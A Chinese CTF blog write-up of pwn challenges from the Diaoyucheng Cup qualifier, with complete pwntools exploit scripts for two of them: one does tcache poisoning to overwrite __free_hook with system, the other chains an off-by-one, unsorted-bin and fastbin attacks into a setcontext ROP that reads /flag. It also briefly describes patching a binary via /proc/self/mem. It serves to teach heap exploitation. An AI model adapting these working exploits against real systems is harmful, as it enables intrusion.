钓鱼城杯初赛部分pwn

实习的倒数第二天在公司打的最后一场比赛了,贡献一点小小的力量,最后进前十了还是很开心的。但是只搞了两个pwn,剩下的babyrpc没有仔细看,vmpwn卡住了,就暂且写一下剩下部分的wp吧,其他的看看后面能不能搜到wp。

unknown

解题思路

  1. __libc_start_main首先会执行init函数,其中调用了sub_1006这个函数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    __int64 sub_1006()
    {
    int i; // [rsp+4h] [rbp-Ch]

    mprotect((void *)((unsigned __int64)&loc_E57 & 0xFFFFFFFFFFFF000LL), 0x1000uLL, 7);
    for ( i = 0; i <= 15; ++i )
    *((_BYTE *)&loc_E57 + i) ^= 0x33u;
    mprotect((void *)((unsigned __int64)&loc_E57 & 0xFFFFFFFFFFFF000LL), 0x1000uLL, 5);
    ((void (__fastcall *)(void *, __int64, __int64))loc_E57)(&loc_FAF, 16LL, 51LL);
    return ((__int64 (*)(void))loc_FAF)();
    }

    即对0xE57开始的15 bytes进行异或0x33的自解密,然后调用mprotect赋予执行权限。

  2. 写个脚本patch一下之后,得到另一个同样功能的函数,后面基本上是嵌套了,最后才是解密main函数和主逻辑:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    __int64 sub_FAF()
    {
    sub_E57((__int64)&loc_EF9, 16, 51);
    sub_E57((__int64)main, 16, 51);
    ((void (*)(void))loc_EF9)();
    ((void (*)(void))loc_EF9)();
    return ((__int64 (*)(void))loc_EF9)();
    }

    int sub_EF9()
    {
    sub_E57((__int64)&loc_A94, 16, 51);
    sub_E57((__int64)&loc_CD9, 16, 51);
    sub_E57((__int64)&loc_C01, 16, 51);
    sub_E57((__int64)&loc_B5D, 16, 51);
    sub_E57((__int64)&loc_D61, 16, 51);
    sub_E57((__int64)&loc_A4B, 16, 51);
    return sub_E57((__int64)word_9EA, 16, 51);
    }

    再最后写个脚本patch一下:

    1
    2
    3
    4
    5
    6
    7
    import idc

    starts = [0xA94, 0xCD9, 0xC01, 0xB5D, 0xD61, 0xA4B, 0x9EA, 0xDB5]
    for start in starts:
    for i in range(0x10):
    bytes = idc.Byte(start + i)
    idc.PatchByte(start + i, bytes ^ 0x33)
  3. 最后得到修复完成的main

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    void __fastcall main(__int64 a1, char **a2, char **a3)
    {
    init_buf(a1, a2, a3);
    while ( 1 )
    {
    menu();
    switch ( choice() )
    {
    case 1LL:
    add();
    break;
    case 2LL:
    edit();
    break;
    case 3LL:
    delete();
    break;
    case 4LL:
    show();
    break;
    case 5LL:
    exit(0);
    return;
    default:
    puts("Unknown");
    break;
    }
    }
    }
  4. 利用点在于add功能下标存在上溢,可以修改最后一个chunk的size,从而再edit的时候创造一个heap overflow;然后就是直接用unsorted bin去leak出libc,然后tcache poisoning打__free_hooksystem

  5. exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from pwn import *
    import sys, os, re

    context(arch='amd64', os='linux', log_level='debug')
    p = remote('122.112.212.41', 6666)

    def add(idx, size):
    p.sendlineafter("Your choice: ", "1")
    p.sendlineafter("Index: ", str(idx))
    p.sendlineafter("Size: ", str(size))

    def edit(idx, content):
    p.sendlineafter("Your choice: ", "2")
    p.sendlineafter("Index: ", str(idx))
    p.send(content)

    def show(idx):
    p.sendlineafter("Your choice: ", "3")
    p.sendlineafter("Index: ", str(idx))
    p.recvuntil("Content: ")

    def delete(idx):
    p.sendlineafter("Your choice: ", "4")
    p.sendlineafter("Index: ", str(idx))

    main_arena_offset = 0x3ebc40
    system_offset = libc.sym["system"]
    __free_hook_offset = libc.sym["__free_hook"]

    add(0, 0xF8)
    for i in range(7):
    add(i + 1, 0xF8)
    for i in range(7):
    delete(i + 1)
    delete(0)
    for i in range(7):
    add(i + 1, 0xF8)
    add(0, 0xF8)
    edit(0, "LIBCADDR\n")
    show(0)
    p.recvuntil("LIBCADDR")
    libc_base = u64(p.recv(6).ljust(0x8, "\x00")) + 0x36 - main_arena_offset
    __free_hook = libc_base + __free_hook_offset
    libc_system = libc_base + system_offset

    add(15, 0)
    add(10, 0x18)
    add(-1, 0x18)
    delete(10)
    edit(15, "A" * 0x18 + p64(0x21) + p64(__free_hook) + '\n')
    add(11, 0x18)
    add(12, 0x18)
    edit(11, '/bin/sh\x00' + '\n')
    edit(12, p64(libc_system) + '\n')

    delete(11)

    success("libc_base: " + hex(libc_base))
    p.interactive()

block

解题思路

  1. 这个2333号功能貌似是迷惑性质的?这个随机数没法拿到,直接放弃这个功能了;另外那个gas基本上不可能超过,足够用了,所以可以不用管。

  2. binary存在一次add给size或了一个1,所以提供了off by one的机会。

  3. 但是edit功能和show功能只能使用一次,所以这里先通过off by one(一次edit)构造chunk overlap,伪造unsorted bin把两个fastbin给overlap(从低到高地址分别为inuse和free的状态)。

  4. 然后从分配空间切割unsorted bin使其和第一个fastbin重合(并且size被覆盖为切割剩下的chunk的size,也就是比原先的fastbin大0x10大小)。

  5. 此时在释放一个chunk到unsorted bin中,使得unsorted bin中存在两个chunk,再通过inuse的fastbin来leak出libc和heap(一次show)。

  6. 释放这个inuse的fastbin,然后重新malloc拿到,同时修改unsorted bin->bk__free_hook - 0x20以及下一个free的fastbin->fd = __free_hook - 0x13(保持unsorted bin->fdfastbin->size不变)。

  7. 然后分配切割剩下的unsorted bin(大小一致,否则会crash),触发unsorted bin attack在__free_hook - 0x10的位置留下libc的地址,再利用这个libc地址的0x7f为size进行fastbin attack得到__free_hook

  8. 因为此时unsorted bin被破坏了,fastbin里是空的,所以不能再分配空间,只能在已有chunk的基础上构造rop进行orw(execve被ban了),即在chunk间利用pop rsp进行横跳(chunk正好够用,运气很好);布置好rop同时改__free_hooksetcontext + 53,之后触发rop即可。

  9. exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from pwn import *
    import sys, os, re

    context(arch='amd64', os='linux', log_level='debug')
    p = remote('122.112.204.227', 6666)

    def add(types, size, content):
    p.sendlineafter("Choice >> ", "1")
    p.sendlineafter("The Block's type: ", str(types))
    p.sendlineafter("The Block's size: ", str(size))
    p.sendafter("The Block's content: ", content)

    def delete(idx):
    p.sendlineafter("Choice >> ", "2")
    p.sendlineafter("The Block's index: ", str(idx))

    def show(idx):
    p.sendlineafter("Choice >> ", "3")
    p.sendlineafter("The Block's index: ", str(idx))
    p.recvuntil("The content is ")

    def edit(idx, content):
    p.sendlineafter("Choice >> ", "4")
    p.sendlineafter("The Block's index: ", str(idx))
    p.sendafter("The Block's new content: ", content)

    main_arena_offset = 0x3ebc40
    system_offset = libc.sym["system"]
    str_bin_sh_offset = libc.search("/bin/sh").next()
    __free_hook_offset = libc.sym["__free_hook"]
    setcontext_offset = libc.sym['setcontext']

    add(1, 0x500, "AAAA\n")

    add(3, 0x78, "AAAA\n")
    delete(1)
    add(3, 0x78, "AAAA\n")
    delete(1)

    add(3, 0x68, "AAAA\n") # chunk 1
    add(2, 0x3F8, "BBBB\n") # chunk 2
    add(3, 0x68, (p64(0) + p64(0x21)) * 6 + '\n') # chunk 3
    add(3, 0x68, (p64(0) + p64(0x21)) * 6 + '\n') # chunk 4
    edit(1, "A" * 0x68 + '\x81')
    delete(2)
    add(2, 0x3F8, "BBBB\n") # chunk 1
    delete(0)
    show(3)
    libc_base = u64(p.recv(8)) - 0x60 - main_arena_offset
    heap_base = u64(p.recv(8)) - 0xdf0
    __free_hook = libc_base + __free_hook_offset
    libc_setcontext = libc_base + setcontext_offset

    # rop
    pop_rsp = libc_base + 0x0000000000003960 # pop rsp ; ret
    pop_rax = libc_base + 0x0000000000043a78 # pop rax ; ret
    pop_rdi = libc_base + 0x000000000002155f # pop rdi ; ret
    pop_rsi = libc_base + 0x0000000000023e8a # pop rsi ; ret
    pop_rdx = libc_base + 0x0000000000001b96 # pop rdx ; ret
    pop_pop_pop_ret = libc_base + 0x0000000000023e85 # pop r12 ; pop r13 ; pop r14 ; ret
    syscall = libc_base + 0x00000000000d29d5# syscall; ret;
    ret = libc_base + 0x00000000000008aa # ret


    delete(3) # fastbin
    delete(4) # fastbin

    add(3, 0x78, p64(libc_base + 0x637d10) + p64(__free_hook - 0x20) + '\n') # chunk0

    payload = flat([pop_rax, 2, pop_rdi, __free_hook + 0x50, pop_rsi, 0, pop_rdx, 0x0, syscall])
    payload += flat([pop_rax, 0])
    payload += flat([pop_rsp, heap_base + 0x18F0]) # change rsp
    add(3, 0x78, payload.ljust(0x68, "B") + p64(0x71) + p64(__free_hook - 0x13)) # unsorted bin attack (chunk 3 ==> to be freed)

    payload = flat([pop_rdi, 3, pop_rsi, heap_base, pop_pop_pop_ret]) + "A" * 8
    payload += flat([heap_base + 0x1880, ret])
    payload += flat([pop_rdx, 0x40])
    payload += flat([syscall])
    payload += flat([pop_rsp, __free_hook + 0x8])
    add(3, 0x68, payload + '\n')

    payload = flat([pop_rax, 1, pop_rdi, 1, pop_rsi, heap_base, pop_rdx, 0x40, syscall])
    payload += "/flag\x00"
    add(3, 0x68, "A" * 0x3 + p64(libc_setcontext + 53) + payload + '\n')

    success("libc_base: " + hex(libc_base))
    success("heap_base: " + hex(heap_base))

    p.interactive()

veryeasy

解题思路

题目不是我做的,但是简单看了下,比较简单,就是个fastbin double free,以及无leak的情况下打stdout进行leak的利用方式。

fsplayground

解题思路

这题是公司的学长做的,不过我也一下没反应过来怎么做,因为就是一个任意读写文件的功能,开始只想到了读/proc/self/maps可以读加载地址;后来学长说可以通过写/proc/self/memory直接改加载在内存里的binary,然后直接把flag那个字符串给改了,然后check的逻辑就废了,就能直接读flag了。

Author: Nop
Link: https://n0nop.com/2020/08/29/%E9%92%93%E9%B1%BC%E5%9F%8E%E6%9D%AF%E5%88%9D%E8%B5%9B%E9%83%A8%E5%88%86pwn/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.